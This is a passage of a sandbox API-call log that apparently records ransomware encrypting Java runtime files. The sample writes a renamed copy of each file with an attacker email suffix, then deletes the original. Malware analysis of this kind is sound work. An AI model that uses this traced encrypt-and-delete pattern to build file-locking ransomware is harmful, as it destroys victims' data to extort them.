lpString2=".mui") returned 1 [0158.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0158.238] lstrlenW (lpString=".zip") returned 4 [0158.238] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.238] lstrlenW (lpString=".rar") returned 4 [0158.238] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.238] lstrlenW (lpString=".bz2") returned 4 [0158.238] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.238] lstrlenW (lpString=".7z") returned 3 [0158.238] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0158.238] lstrlenW (lpString=".dbf") returned 4 [0158.238] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.611] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.612] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.612] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.613] GetLastError () returned 0x0 [0159.613] ReadFile (in: hFile=0x44c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x562, lpOverlapped=0x0) returned 1 [0159.632] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x570, lpOverlapped=0x0) returned 1 [0159.634] ReadFile (in: hFile=0x44c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.634] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfc, lpOverlapped=0x0) returned 1 [0159.634] SetEndOfFile (hFile=0x450) returned 1 [0159.634] CloseHandle (hObject=0x450) returned 1 [0159.634] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.634] SetEndOfFile (hFile=0x44c) returned 1 [0159.638] CloseHandle (hObject=0x44c) returned 1 [0159.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.639] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0159.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.639] lstrlenW (lpString=".doc") returned 4 [0159.640] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".docx") returned 5 [0159.640] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.640] lstrlenW (lpString=".pdf") returned 4 [0159.640] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".xls") returned 4 [0159.640] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".xlsx") returned 5 [0159.640] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.640] lstrlenW (lpString=".ppt") returned 4 [0159.640] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString=".zip") returned 4 [0159.640] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".rar") returned 4 [0159.640] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".bz2") returned 4 [0159.640] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString=".7z") returned 3 [0159.640] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString=".dbf") returned 4 [0159.640] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString=".1cd") returned 4 [0159.640] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString=".jpg") returned 4 [0159.640] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.640] lstrlenW (lpString=".doc") returned 4 [0159.641] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".docx") returned 5 [0159.641] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.641] lstrlenW (lpString=".pdf") returned 4 [0159.641] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".xls") returned 4 [0159.641] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".xlsx") returned 5 [0159.641] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.641] lstrlenW (lpString=".ppt") returned 4 [0159.641] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.641] lstrlenW (lpString=".zip") returned 4 [0159.641] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".rar") returned 4 [0159.641] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".bz2") returned 4 [0159.641] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString=".7z") returned 3 [0159.641] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.641] lstrlenW (lpString=".dbf") returned 4 [0159.641] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.641] lstrlenW (lpString=".1cd") returned 4 [0159.641] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0159.641] lstrlenW (lpString=".jpg") returned 4 [0159.641] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.642] lstrcmpiW (lpString1=".pf", lpString2=".NEWS") returned 1 [0159.642] lstrlenW (lpString="sRGB.pf") returned 7 [0159.642] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.642] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3144) returned 1 [0159.643] CloseHandle (hObject=0x44c) returned 1 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.643] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.643] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.644] GetLastError () returned 0x0 [0159.644] ReadFile (in: hFile=0x44c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xc48, lpOverlapped=0x0) returned 1 [0159.873] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xc50, lpOverlapped=0x0) returned 1 [0159.874] ReadFile (in: hFile=0x44c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.874] WriteFile (in: hFile=0x450, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0159.874] SetEndOfFile (hFile=0x450) returned 1 [0159.874] CloseHandle (hObject=0x450) returned 1 [0159.874] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.875] SetEndOfFile (hFile=0x44c) returned 1 [0159.877] CloseHandle (hObject=0x44c) returned 1 [0159.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.113] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.114] lstrlenW (lpString=".doc") returned 4 [0160.114] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".docx") returned 5 [0160.114] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0160.114] lstrlenW (lpString=".pdf") returned 4 [0160.114] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".xls") returned 4 [0160.114] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".xlsx") returned 5 [0160.114] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0160.114] lstrlenW (lpString=".ppt") returned 4 [0160.114] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.114] lstrlenW (lpString=".zip") returned 4 [0160.114] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".rar") returned 4 [0160.114] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".bz2") returned 4 [0160.114] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString=".7z") returned 3 [0160.114] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.114] lstrlenW (lpString=".dbf") returned 4 [0160.114] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.114] lstrlenW (lpString=".1cd") returned 4 [0160.114] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0160.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".jpg") returned 4 [0160.115] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".doc") returned 4 [0160.115] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".docx") returned 5 [0160.115] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0160.115] lstrlenW (lpString=".pdf") returned 4 [0160.115] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".xls") returned 4 [0160.115] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".xlsx") returned 5 [0160.115] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0160.115] lstrlenW (lpString=".ppt") returned 4 [0160.115] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".zip") returned 4 [0160.115] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".rar") returned 4 [0160.115] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".bz2") returned 4 [0160.115] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString=".7z") returned 3 [0160.115] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".dbf") returned 4 [0160.115] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".1cd") returned 4 [0160.115] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0160.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0160.115] lstrlenW (lpString=".jpg") returned 4 [0160.115] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0160.116] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.116] lstrlenW (lpString="messages_ko.properties") returned 22 [0160.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.116] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5712) returned 1 [0160.116] CloseHandle (hObject=0x468) returned 1 [0160.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0160.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.117] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.117] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0160.118] GetLastError () returned 0x0 [0160.118] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1650, lpOverlapped=0x0) returned 1 [0160.122] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1660, lpOverlapped=0x0) returned 1 [0160.123] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.123] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x100, lpOverlapped=0x0) returned 1 [0160.124] SetEndOfFile (hFile=0x46c) returned 1 [0160.124] CloseHandle (hObject=0x46c) returned 1 [0160.124] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.124] SetEndOfFile (hFile=0x468) returned 1 [0160.131] CloseHandle (hObject=0x468) returned 1 [0160.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.136] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString=".doc") returned 4 [0160.137] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".docx") returned 5 [0160.137] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.137] lstrlenW (lpString=".pdf") returned 4 [0160.137] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".xls") returned 4 [0160.137] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".xlsx") returned 5 [0160.137] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.137] lstrlenW (lpString=".ppt") returned 4 [0160.137] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString=".zip") returned 4 [0160.137] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".rar") returned 4 [0160.137] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".bz2") returned 4 [0160.137] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString=".7z") returned 3 [0160.137] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString=".dbf") returned 4 [0160.137] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString=".1cd") returned 4 [0160.137] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.137] lstrlenW (lpString=".jpg") returned 4 [0160.137] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString=".doc") returned 4 [0160.138] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".docx") returned 5 [0160.138] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.138] lstrlenW (lpString=".pdf") returned 4 [0160.138] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".xls") returned 4 [0160.138] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".xlsx") returned 5 [0160.138] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.138] lstrlenW (lpString=".ppt") returned 4 [0160.138] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString=".zip") returned 4 [0160.138] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".rar") returned 4 [0160.138] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".bz2") returned 4 [0160.138] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString=".7z") returned 3 [0160.138] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString=".dbf") returned 4 [0160.138] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString=".1cd") returned 4 [0160.138] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0160.138] lstrlenW (lpString=".jpg") returned 4 [0160.138] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.139] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.139] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0160.139] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.140] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3285) returned 1 [0160.140] CloseHandle (hObject=0x468) returned 1 [0160.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0160.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program 